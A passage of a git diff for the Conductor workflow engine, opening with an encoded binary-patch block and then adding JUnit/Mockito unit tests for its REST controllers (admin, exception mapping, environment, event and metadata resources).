zrQ1F=Y<*x8O3;BWbpuoIC}=+$}P0hUW_-;<-gD8AsJsOCmg8uOJ}W@W1`CyfMJ4`lT5WURb;IUQUHS@21%%&siKZQJ<^oex}1Io7;Cx;l<973l3&hS*_&DjrPzJm~mBW%H3gGX%DMnEUE@j5D*x{}3uFA|NZ05SF7g&z392 zvb?qdS~qkau*5j6;u)ifl zc0(waarfhMmBuC-^Ou|@eU9Q+nhj*(rIh69R4TIX9}n%}sc~;3gPiyu+6q_40}az$ z2J`I1GvJ2!L~hFSZVkB^^WwYe`SRor`-!yj-UFhX0lWvBDxmhy$Nj8_#AfSEH}XVs zw{nt8Omggpuj#{mTJg`sjWhRP2?IRb;)@&&hgF6$rRF=THLa1)Bwg5px62)SZTtG3 zzNZ};7fx4HsF5a-$(OWeK&D-677N=b(6?F%hFqNs=j-u`Hety|bnBN%xt~ptj1Pk~ zvA}pbn=YL*JLST`tsYiL%tmg)2!|kB>@IokF|G`k(4h|`^vktMmwN2HEKIifufl!d z9B|yMcYR@QtN%e&mi2_bQcanbrs( zW6MK-{6RL(ntBPx1kgoI$AMAc+VXoB8a6B&9NPo^I96Vqql_~$)E2!|ASZ`=!{r0c z zqu5@Qv;6}-UVkVCkS2wpS-?I86%90M;t0$!N@JlWP{t_Ux>6I(@r^sg!f23G1Y6Ct zz}KTNpbj_H{k8&s?XW{r4Z7jly9@x{mmW4h@7;fjEDV-^tk*gD8W~;j`ziREE7NB6 z<2^im_+ggK^d`kzV-yUY5rX|`HK&<)xz)|VXTTiwM|{$1UpC#WRc<08^Qtwb_(#eD zTtq|0b`>RyMwcyd`ZVp6!Q_fiL4!(UWB(+%8?GN_kHoFHx7DR0yDoeEoj+HT5%{ya zE;qZ=yi!S_f~`DX(hN2bY;F$YaW3{pEXt}946rTxN&fOSe8n;qMGBd$j^}H;D)AMMYrwfcmWAYt3tTD`a_b9m%M_tWz|Jd_r^L>rh<~OiH$!n_ay4fNoo#*axaKe4yPb>fXMh(gFz}4G zgN((cH55{)8mDp&Q3zqy250gu50p7B^U{$#KmJVtn}On}9KEgc*y*C-vWsFdK{)1d zZ`)7kWWO8rNJ`%7O_Y*u3W7IIwQ_Q0P2)~uH6?w(_hv9awqW*t3lrq57)2{w1O|@4 z!VYUh7o3S>ScmRle)xgIAK!B|MeBB1;E@&!11-qJA8zFwJSfwmD4H9Uusv(VvWOGY zWxxW!5E=HO+4R%Do(CL%O%=&YJ_9wCh6abfo>tlA-=xx7*Devgm|d^px`pf^{y5HT zl_{yx-T9(4Jj|{O=-qC=vQ{RK%4#ypT6L7$H-MKgJC5$~ihzUcVys zyk_lw|Emk~0mB4RDsy`cgN-Qve>1(=atJQHi0#G>tIw=l7QtNU7b1cy&9;r#Rau#r z`S?P5nI4T6RdjPh!Omb9HUaJUUc~2iavGsejt6AJI&*LoMFVfWipH0y?Wcx?Ld{X; zs=wD!`H;+-0hWxyerCj4H;xzbKv#!G z=Oq;I>l)nC+H*VlEuJo^P^zlz1Av?K?!+I2E=OGf8(2&%kqA);*Zq`p>25Ba-e?Sa zB&x#7MoERF#fGj?i1(@WLWY~qg#hESbwh@r-D$?|iY#1Oy`sEPa@07Y7y~zQRs8{? z1&PaAo=H4O7F?ISps2%<$zaXRqJT1$W-JPlNVXOd1N!|q6I~fa#oJ1Kl2Pyhca;cm z_Eiqt*Gf8DokFM{%jM_X@Imgcpo z)&5E1HNEC_Qw3vJa5V%fwSrg^%&=3LJEdsFO3TsU9*A@KQH#)}eqYBqp@)Qro8=B8 zswVLBx$PB4P&{^f;7&9ifs`~ius!6Z*E&l>6rZQM<@IxPh{gi+i>)%j8pvIideGow zU`ixkG(UUMURUW>W@N6p{*h33GP0w7=lTMdEqB^A3or!kLy(;)+_*4 zO{U6i`{wW^Ddek{i%o9bD{jcUsg<9vC9~_O(6KPnlDl+60gRub6ZY2uu`7Z8RQNNJ zre#(+jKTuen+=5(X^Hk&Mt1YdRGdRo+PrWbi|1j}4*79|$0 z^2{CCJvDw%()_a~bA7}DfcDUb^^WE5r552KJ|GSM9R&MU;ZuP|Fo4`{TXIBWfhL-C z4gIBHb4I(+PV&8PF);%_Dpstxr2EhewQyKcb;X?gHjT;B^mTZJ0DKYACzHI{g;SpG z$WxTWcMYUN%#sXz&R@b4=!QX2ul7(cS4yaaFt=RI8|j=``MCXkhofHEbAHvv9dfKe zPfn6sb&Ue8Hl7MbU?kzhDiv;1*?wRs&SpC;PteMf4%}I&o!siSu3YJ3{wc8fH8UAQ z&wPc~^YQFPDrUHbmqtnT%qXqi!$N0uU_B|oN%eh!{KF&zBiF1K!)?^gK@=6KJGwWk zuHlxJg3s&({4OOKn)Ax^;mB zJ7h1I4@m~AzuJF8@WR-_C1{T~juKHRN!5k6VH)i(Q_ z71MU18y@%{H>a@VM2pq)AUsKG47jlfiXOzD@ng#Un6f-VdJh_rb(k#Iin_*04RoB` z;jqknlJjHM{2ZMj<4ax|cfQTqDGN`JOQLt6tcg_T@HNpfYOp%(cCC7w094a1pbJ|) zGTZzIgPxeBw0DJ?EXqUw!irW>%`!Ei_7TCN2UDuxF@k*}L`};>E2lc-pW0V%96&{;Gh_M!gEM? zy^?$rWd2-|c2cVFP-UFIi_`XnxXp)`j?5Yh&GDK|--iGuOSebM&v(guOX(s|P+1(- zBH)@COcVfmEqPclNL?XIZJ*q1jZ=h%>!Wat{7WD=gI8E$_HsL)n84$%@&Tp{%aYbM zuIE<=-sv#HJyiWqaY~-kcp6_~lU(Qg7UJHQB$3LUyipc{&w`)P4Ds-rdWU_cDwiwK zaOzc*TE{WFP*O;v9ytJ?Ud3KqJ4c%wd67&SBV{)fUzY6HTPBWxNkHWnR_WbL#@IW` zEdcjo=az-LuBb?)h{ut|vBFW?b@0##-pOI`utbNfaOj@Ft$(4Buq^F;iu;EhrBaLz ze%vkE%s3X~XZo)kC5Xji(%FN}UD{k*XNwBZDCD_2n4SeJ(nR6Od-@&QQPi6#l?cS7 zP7(t2zIv*)Y`GHZY4ACWThdv718O9Tg09s(B&J`fO=DT_zAV6PtsW$s^uDQ z%Rax*h7=vJous-I9W~Wp;(i835V?(P%r-Or@{{T`Z+db%>-G&U05UFu4T{2PW1P_o z)(Hd&=ywswfr^%qZ>2>FHwE^JvkM0JR zg8ZF_ryY_#1z*yaOX;u^CL>U%C+Ojl#6-$-pe$dVxabyR*j6 zA@bTD0oUI8p>fGriRjjSLwF_!tS!ibuas*92E~$fj$we9{`l3xxO$A^cz%nJMAnAB zTb4)Hcye7*I&GFg;Ei)uje3R&)rA(P$WW9#&#RIve&}bY_d=7}uHcMpSAYQx;e=b^ zNUGc_MVP&?+Csx-9dJPt`t-1r&@%i=zU1|Obm{8AtZaj4iQ47k3QAO@{6qMZ#=%{1 z()H9XyjG;Sg@knSsT|AVDHpm)Ulbn334rUY8bjBT+=FZ%|A?GShhcI#vc?+fs2s*r zK&5!eDF^Eh#M+1cg?5gZ1>;wdIpRiv$@_UuIhmIUOlqi!F+88}xQ9AT0Ln2py0xCl zxy|pn(zv31%3od%cp2F>4ls1pxlC^U5;+VK#XFhC!J)i(SN^5rFsWMW`%-!BvAwOt zDn-_G6B#l5~xi8hvqfIOe@LHS)gEezZ2pk@CKkkq4y5 z9pY6R4}2|;`qQ+gv#CHo&E&C@8~o8`!79h2cv=E1IPOJTQUV^Q$C0TwvY9%YX=Xm# zYyg%Ru-Az{Wz`+udxIvKH0XE{+DXlhAk% z_pS5+z^k0zSJ5h{OrzdB} zbLdW~COY^oJJW85><|V@`~-QXGN-g0yw2CSg!6m3QJ9B!XB%60cpMuYE9Cgdz;_WV z`z_6D!t-ZNzHBuYmFU-obI0G79-5S?2a`M3!bPwY8(mYrYA&9~j~!=Ew7-pCVB)f>Da|i>dJRyI}s8aWhQNx z**2UDdJiyKp!`bV;|lWvD_L{0j=}1cMLRka_}hMtYm}NaqtUXH+J$gF%;pTvO{VK0H?K93b{Bq~xy*MKNOHAkh#E3W z)|PDDzpoy%I~Od-wcCdG8ez{W2gsPNTp@Q~j|QbOd2W2v?ZIL6^!H2l3>>kG>YuG& zFe8;zsD;YM;V~MHCse0@=<;|8eV%z+hHawx>ed#9bIV;p#W%FZALBwLMkIq5 z-PM#Y_7YOh0O#}X&gYZ!m$pJZD z3Xf9xOyg?(_O1SH zWQMN`{dOQ?ENz#F-zi+{pE3#BNJk?+J2DaGeLpT@NlV*+g9D5_{VxDDe4!IZy+eXE z*aNO>!rml;UiVWrow5~}uC&UC6VkwNGaOZMKMJ>#w#JARg^Q%?ojmI{wzGX!^qWqb zwisIzzJa$7PfQ&|FU05^X470E;v^MlTjgGA5=y*U>FP-RMf?jQr7em)KdNO94P751#6LVI~@ z@D$cIdhAO@g=5El?z*0dx`SsgR%ju$@jFFmw-*$W7Qn*xLu(QSmKbv9%L=~mkE zy;0y_aYX}%Ose{_g+}Kk@+#}4<&qzebOUfTw3%nG(R%mu!Wu`!UQ6C!J#G6xz|4=&!f>&72`9%~vH{oRAji@^> z8>Tcu38$(6jYE0m@!;sKVQ;31WGBH0siU%Tl;k4SpfO>AMx1pN1%5{SMHgsL#XT1x zsj`Y5-R%KJXtj$$!DnvOF6W$c!VK9 zpF%#EI`ALP1cxoQ-ya>mT!`6jk;?oMCKkV~z31d!eSFP<~FGDGdZ?A;!xY z`&^&CgK{gWab%4PEYbb7Z@mX8X9@%Iv*+n#pn+KdRqO1UsxVe&SXBMf z-TNt6KoW=0Q@l+XcE)+SDN=q%F<}WYBaZVK@~P6aWI_~+-KJ)o&S95Jd$4N0g9@R) z^ybS0J8r^`N8?r!m)U*WI4;Rox*-&wT+S2}YbqVg9Jm$W8ESf();TB839Tz(eO`MH zcdAEI(8VBUpAkdDL%+k53>-2%87uq@ZES4J#yh$G;~WI$i>FUy00{{4OaKjX-c}K4K8O+ z|2l$++2vVthoMCVm02(7vfznciusF@^>ASdiIn<8%#g>;#WoSiElqQ`DDnu@FVe!!%i>!EA6{x;+xx)!ZF z%d==tfvp+*FlV3?n?t4TAl(y`z3IS31z6xNkY022yv*v@M{dcLPc^98bWm(gFEy5^ zlJ+oz>ALx_!@Vd&#U2rlFY*uQ+#3$Dp$i;L5lmYK0UlBwlqEriVFlRHQ?5_iA$HcS z6WLA<<08usA765YM*S_vpnzs6Ymam35Ur7kCSu)YktksUB%_J8v}dnwT%n~DWC+Zu zF{Dw!GJMjw7)ErSI88Ab2px&kj!nX1e5qOH+I|CL>ifk)<^S|RXf8lKwK+Mm^hhq!03UK1jxa0b_p{3{C{$R~ z2|u)5K#{~!|zL!RPMOlaJOqT}m6jXM4iY7|@mmN@t@S%Kb|C2U9tNt6G2Z*Wn}zYQ&j(nA9(B3nH^5i%I*9{4c^^b7rsHy=$=q2 z`9$Vert$RxWK{C-FX#Lke!9wfg#`>B#0{zypu&H}cRSom{qoe8Tc_4e>9wUBo5?17 z&jn(f1)z>k{Fv`*pXSGemsGifY^_hAja4N-1fF1&6o5(8q8L^5yA1(*6YPUs6O z&xD0NY}OT)y%T7#^T!-o=Ya{+zPQ2H)dyMcruL-_hM}$VXExJli_G~he(%$p*EH}t zo$-Ea3D1Bh)%{~qqlYae%HA43PQpT`IF=YilHas*D|pT|hNO=?@3cca_9eG{BBK5d zi!xbz5+OCVr!t;AxHsHSCcD3s)oU|u6MF2C-P$dA2Bb~5R*huSrK@!470fu#(O>=| z|ChMzyb-4L#(jx&A?;xAuRA}K%-e05K?ASs?xkBgcHkwB%%^>pxo*FJ1&($?FYgT) z2c6zv*Vu6J7`W{-RF@%mWc7gzu;p4B$AvRrN@^Ar*P}jAEzmG=4#Xbg!&Wre!wkmA z9($jOP1IU30m~^H{!cjmm)w`7OO&mjjzT$Fy|{Yt*~KZVmAGxFlQzjnI6TolyFEx3pfFd zOjbgyc8a~WQSbfe({hdGzLY6M^*Rga{~!9h@VThiQt6mZn?ZM2CWMyaeNMA+-OdEj(#KIX9XY=CT#;odgDTj6cO=KdCYJ7A(wxl zXtcUt(Myu>%CaOEw{s8P(5Hi-5kp`?K>RCXpC=1@2MmN!E_J$pG^8D@nBDG50&?$Krw({Z~ zL#*$`eM=3v=NI*WRz9>-+=|~{gjyR%9$Xh_uF4mEx5B>U+wA*Bd$=8VMW4v{6}?@1 zFu`yB&aBNUv~u_^lQvV4-&@xBbT^!W05wT-EfUQS!L^!YWT(0oKyl}PpneqtNb_v>UanTQ=OOEPOG7iuz|pvBo8&6?abpQV1pN+;Zo-n?%GNYaV)CxCB==70C~fq);`R#!x#4gx_&?H6Ff-`TBT&@j#XJ zg+Cwv0=h&GHFzGAkL z-*_A8V>l;$Q}?{8y$h!Yz#N0Hni3JwxSwCO!rNY}33-W-m_=wgq|gt7VZ0&R zA#fon@d9J)b8iFw?y|48EuZS5)HORksWq1AX*7|v9-jzB8^9eU->L1o_?EE#^uU6n z?jeDb*?Kbp-W#7Egr>2b{eB$sH!@K+Tr-uVb``2fqiKxk#bwIK%b>-fJJF&ZJl=dj zk{BhQN#$zd0zlz^>kd=9mFGl5r<;Es{^;1kH7}ol7|P}E z;9CTd{TkFRMExC6nvgp})Yj2$q^PevRr$!O^Emsx)VR^-f+Tx6==P%`zbpoEjnJgC zVnH4P3>kizhL)OS$swaN`~AV+#4Be&Kx-C9_G`hy=3xI->yrs~SRxzACueH$nY~G> zzB!Sp9y~Jn&?>XJZUFDxu2_6++IO4|7qG&N=ZeLk3aRf)|bQ}IvfAuyfrB3#nv&`=# zrN5?=8Jh=<(y$f5HOlJyzRwyL@wNt4jbypYDgQFNp=cvg4W}{X!^mXH6HGVW^qV}t z|Bq{C6R;A^p`TcB;#}=1SScL`AKPSZInvFFv}P{Ua&uVDJVG2+3Ef(4ceQ5=W|k%? zUF9tmOy3K)6>?!?1kAYRQWP7M7|~=oY5%~4E$fZ(oKlm_A1p-66|fxRVC5p_X*UyZ z>?^6r`3--^d;4~HwD`x_2s4t1GZctOHJz5OyU1(}Z5f*^rXc`1YAL922rOhXiM3vj?}+fddWGRMRIA|9?8lvc2y1r- zZ|mts<+~~fJ4xq;zhhuCgLk@F=Uv532Xi&;Ry1XY5tes + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mock; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.service.AdminService; + +import static org.junit.Assert.assertEquals; +import static org.mockito.ArgumentMatchers.anyBoolean; +import static org.mockito.ArgumentMatchers.anyInt; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class AdminResourceTest { + + @Mock private AdminService mockAdminService; + + @Mock private AdminResource adminResource; + + @Before + public void before() { + this.mockAdminService = mock(AdminService.class); + this.adminResource = new AdminResource(mockAdminService); + } + + @Test + public void testGetAllConfig() { + Map configs = new HashMap<>(); + configs.put("config1", "test"); + when(mockAdminService.getAllConfig()).thenReturn(configs); + assertEquals(configs, adminResource.getAllConfig()); + } + + @Test + public void testView() { + Task task = new Task(); + task.setReferenceTaskName("test"); + List listOfTask = new ArrayList<>(); + listOfTask.add(task); + when(mockAdminService.getListOfPendingTask(anyString(), anyInt(), anyInt())) + .thenReturn(listOfTask); + assertEquals(listOfTask, adminResource.view("testTask", 0, 100)); + } + + @Test + public void testRequeueSweep() { + String workflowId = "w123"; + when(mockAdminService.requeueSweep(anyString())).thenReturn(workflowId); + assertEquals(workflowId, adminResource.requeueSweep(workflowId)); + } + + @Test + public void testGetEventQueues() { + adminResource.getEventQueues(false); + verify(mockAdminService, times(1)).getEventQueues(anyBoolean()); + } +} diff --git a/rest/src/test/java/com/netflix/conductor/rest/controllers/ApplicationExceptionMapperTest.java b/rest/src/test/java/com/netflix/conductor/rest/controllers/ApplicationExceptionMapperTest.java new file mode 100644 index 0000000..7008e16 --- /dev/null +++ b/rest/src/test/java/com/netflix/conductor/rest/controllers/ApplicationExceptionMapperTest.java @@ -0,0 +1,133 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.Collections; + +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.mockito.MockedStatic; +import org.mockito.Mockito; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.ResultMatcher; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.model.TaskModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.mockito.Mockito.*; +import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +public class ApplicationExceptionMapperTest { + + private QueueAdminResource queueAdminResource; + + private MockMvc mockMvc; + + private static MockedStatic mockLoggerFactory; + private static final Logger logger = mock(Logger.class); + + @Before + public void before() { + mockLoggerFactory = Mockito.mockStatic(LoggerFactory.class); + when(LoggerFactory.getLogger(ApplicationExceptionMapper.class)).thenReturn(logger); + // logger is a static mock reused across tests; clear its invocation history + // so per-test verifications (e.g. never().error()) are order-independent. + clearInvocations(logger); + + this.queueAdminResource = mock(QueueAdminResource.class); + this.mockMvc = + MockMvcBuilders.standaloneSetup(this.queueAdminResource) + .setControllerAdvice(new ApplicationExceptionMapper()) + .build(); + } + + @After + public void after() { + mockLoggerFactory.close(); + } + + @Test + public void testException() throws Exception { + var exception = new Exception(); + // pick a method that raises a generic exception + doThrow(exception).when(this.queueAdminResource).update(any(), any(), any(), any()); + + // verify we do send an error response + this.mockMvc + .perform( + MockMvcRequestBuilders.post( + "/api/queue/update/workflowId/taskRefName/{status}", + TaskModel.Status.SKIPPED) + .contentType(MediaType.APPLICATION_JSON) + .content( + new ObjectMapper() + .writeValueAsString(Collections.emptyMap()))) + .andDo(print()) + .andExpect(status().is5xxServerError()); + // verify the error was logged + verify(logger) + .error( + "Error {} url: '{}'", + "Exception", + "/api/queue/update/workflowId/taskRefName/SKIPPED", + exception); + verifyNoMoreInteractions(logger); + } + + @Test + public void testClientErrorsLoggedAtWarn() throws Exception { + // Client (4xx) errors are logged at WARN, not ERROR, across the mapped + // exception types (for example ConflictException -> 409, + // NotFoundException -> 404). + assertLoggedAtWarn(new ConflictException("resource already exists"), status().isConflict()); + assertLoggedAtWarn(new NotFoundException("resource not found"), status().isNotFound()); + } + + private void assertLoggedAtWarn(RuntimeException exception, ResultMatcher expectedStatus) + throws Exception { + // logger is a static mock reused across assertions; start each one clean. + clearInvocations(logger); + doThrow(exception).when(this.queueAdminResource).update(any(), any(), any(), any()); + + this.mockMvc + .perform( + MockMvcRequestBuilders.post( + "/api/queue/update/workflowId/taskRefName/{status}", + TaskModel.Status.SKIPPED) + .contentType(MediaType.APPLICATION_JSON) + .content( + new ObjectMapper() + .writeValueAsString(Collections.emptyMap()))) + .andDo(print()) + .andExpect(expectedStatus); + // client (4xx) errors must be logged at WARN, not ERROR + verify(logger) + .warn( + "Error {} url: '{}'", + exception.getClass().getSimpleName(), + "/api/queue/update/workflowId/taskRefName/SKIPPED", + exception); + verify(logger, never()).error(any(), any(), any(), any()); + verifyNoMoreInteractions(logger); + } +} diff --git a/rest/src/test/java/com/netflix/conductor/rest/controllers/EnvironmentResourceTest.java b/rest/src/test/java/com/netflix/conductor/rest/controllers/EnvironmentResourceTest.java new file mode 100644 index 0000000..a6a2401 --- /dev/null +++ b/rest/src/test/java/com/netflix/conductor/rest/controllers/EnvironmentResourceTest.java @@ -0,0 +1,50 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.EnvironmentVariable; +import com.netflix.conductor.dao.EnvironmentDAO; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.*; + +public class EnvironmentResourceTest { + + private EnvironmentDAO dao; + private EnvironmentResource resource; + + @Before + public void setUp() { + dao = mock(EnvironmentDAO.class); + resource = new EnvironmentResource(dao); + } + + @Test + public void testList() { + when(dao.getAll()).thenReturn(List.of(EnvironmentVariable.of("REGION", "us-east-1"))); + List all = resource.getAll(); + assertEquals(1, all.size()); + assertEquals("REGION", all.get(0).getName()); + } + + @Test + public void testGet() { + when(dao.getEnvVariable("REGION")).thenReturn("us-east-1"); + assertEquals("us-east-1", resource.get("REGION")); + } +} diff --git a/rest/src/test/java/com/netflix/conductor/rest/controllers/EventResourceTest.java b/rest/src/test/java/com/netflix/conductor/rest/controllers/EventResourceTest.java new file mode 100644 index 0000000..2f6f2c4 --- /dev/null +++ b/rest/src/test/java/com/netflix/conductor/rest/controllers/EventResourceTest.java @@ -0,0 +1,86 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.ArrayList; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mock; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.service.EventService; + +import static org.junit.Assert.assertEquals; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyBoolean; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class EventResourceTest { + + private EventResource eventResource; + + @Mock private EventService mockEventService; + + @Before + public void setUp() { + this.mockEventService = mock(EventService.class); + this.eventResource = new EventResource(this.mockEventService); + } + + @Test + public void testAddEventHandler() { + EventHandler eventHandler = new EventHandler(); + eventResource.addEventHandler(eventHandler); + verify(mockEventService, times(1)).addEventHandler(any(EventHandler.class)); + } + + @Test + public void testUpdateEventHandler() { + EventHandler eventHandler = new EventHandler(); + eventResource.updateEventHandler(eventHandler); + verify(mockEventService, times(1)).updateEventHandler(any(EventHandler.class)); + } + + @Test + public void testRemoveEventHandlerStatus() { + eventResource.removeEventHandlerStatus("testEvent"); + verify(mockEventService, times(1)).removeEventHandlerStatus(anyString()); + } + + @Test + public void testGetEventHandlersForEvent() { + EventHandler eventHandler = new EventHandler(); + eventResource.addEventHandler(eventHandler); + List listOfEventHandler = new ArrayList<>(); + listOfEventHandler.add(eventHandler); + when(mockEventService.getEventHandlersForEvent(anyString(), anyBoolean())) + .thenReturn(listOfEventHandler); + assertEquals(listOfEventHandler, eventResource.getEventHandlersForEvent("testEvent", true)); + } + + @Test + public void testGetEventHandlers() { + EventHandler eventHandler = new EventHandler(); + eventResource.addEventHandler(eventHandler); + List listOfEventHandler = new ArrayList<>(); + listOfEventHandler.add(eventHandler); + when(mockEventService.getEventHandlers()).thenReturn(listOfEventHandler); + assertEquals(listOfEventHandler, eventResource.getEventHandlers()); + } +} diff --git a/rest/src/test/java/com/netflix/conductor/rest/controllers/MetadataResourceTest.java b/rest/src/test/java/com/netflix/conductor/rest/controllers/MetadataResourceTest.java new file mode 100644 index 0000000..885c44a --- /dev/null +++ b/rest/src/test/java/com/netflix/conductor/rest/controllers/MetadataResourceTest.java @@ -0,0 +1,250 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDefSummary; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.service.MetadataService; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertThrows; +import static org.mockito.Mockito.any; +import static org.mockito.Mockito.anyInt; +import static org.mockito.Mockito.anyList; +import static org.mockito.Mockito.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class MetadataResourceTest { + + private MetadataResource metadataResource; + + private MetadataService mockMetadataService; + + @Before + public void before() { + this.mockMetadataService = mock(MetadataService.class); + this.metadataResource = new MetadataResource(this.mockMetadataService); + } + + @Test + public void testCreateWorkflow() { + WorkflowDef workflowDef = new WorkflowDef(); + when(mockMetadataService.findWorkflowDef(any(), any())).thenReturn(Optional.empty()); + metadataResource.create(workflowDef, false); + verify(mockMetadataService, times(1)).registerWorkflowDef(any(WorkflowDef.class)); + } + + @Test + public void testCreateWorkflowOverwriteUpdatesExisting() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("test"); + workflowDef.setVersion(1); + when(mockMetadataService.findWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(workflowDef)); + metadataResource.create(workflowDef, true); + verify(mockMetadataService, times(1)).updateWorkflowDef(any(WorkflowDef.class)); + verify(mockMetadataService, never()).registerWorkflowDef(any()); + } + + @Test + public void testCreateWorkflowConflictThrowsWhenNoOverwrite() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("test"); + workflowDef.setVersion(1); + when(mockMetadataService.findWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(workflowDef)); + assertThrows(ConflictException.class, () -> metadataResource.create(workflowDef, false)); + verify(mockMetadataService, never()).registerWorkflowDef(any()); + verify(mockMetadataService, never()).updateWorkflowDef(any(WorkflowDef.class)); + } + + @Test + public void testValidateWorkflow() { + WorkflowDef workflowDef = new WorkflowDef(); + metadataResource.validate(workflowDef); + verify(mockMetadataService, times(1)).validateWorkflowDef(any(WorkflowDef.class)); + } + + @Test + public void testUpdateWorkflow() { + WorkflowDef workflowDef = new WorkflowDef(); + List listOfWorkflowDef = new ArrayList<>(); + listOfWorkflowDef.add(workflowDef); + metadataResource.update(listOfWorkflowDef); + verify(mockMetadataService, times(1)).updateWorkflowDef(anyList()); + } + + @Test + public void testGetWorkflowDef() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("test"); + workflowDef.setVersion(1); + workflowDef.setDescription("test"); + + when(mockMetadataService.getWorkflowDef(anyString(), any())).thenReturn(workflowDef); + assertEquals(workflowDef, metadataResource.get("test", 1)); + } + + @Test + public void testGetAllWorkflowDef() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("test"); + workflowDef.setVersion(1); + workflowDef.setDescription("test"); + + List listOfWorkflowDef = new ArrayList<>(); + listOfWorkflowDef.add(workflowDef); + + when(mockMetadataService.getWorkflowDefs()).thenReturn(listOfWorkflowDef); + assertEquals(listOfWorkflowDef, metadataResource.getAll(null)); + } + + @Test + public void testGetAllWorkflowDefFilteredByClassifier() { + WorkflowDef plainDef = new WorkflowDef(); + plainDef.setName("plain"); + plainDef.setVersion(1); + + WorkflowDef agentDef = new WorkflowDef(); + agentDef.setName("agentic"); + agentDef.setVersion(1); + Map agentMetadata = new HashMap<>(); + agentMetadata.put("agent_sdk", "python"); + agentDef.setMetadata(agentMetadata); + + List listOfWorkflowDef = new ArrayList<>(); + listOfWorkflowDef.add(plainDef); + listOfWorkflowDef.add(agentDef); + + when(mockMetadataService.getWorkflowDefs()).thenReturn(listOfWorkflowDef); + assertEquals(List.of(agentDef), metadataResource.getAll("agent")); + assertEquals(List.of(plainDef), metadataResource.getAll("workflow")); + assertEquals(listOfWorkflowDef, metadataResource.getAll(" ")); + } + + @Test + public void testGetAllWorkflowDefLatestVersions() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("test"); + workflowDef.setVersion(1); + 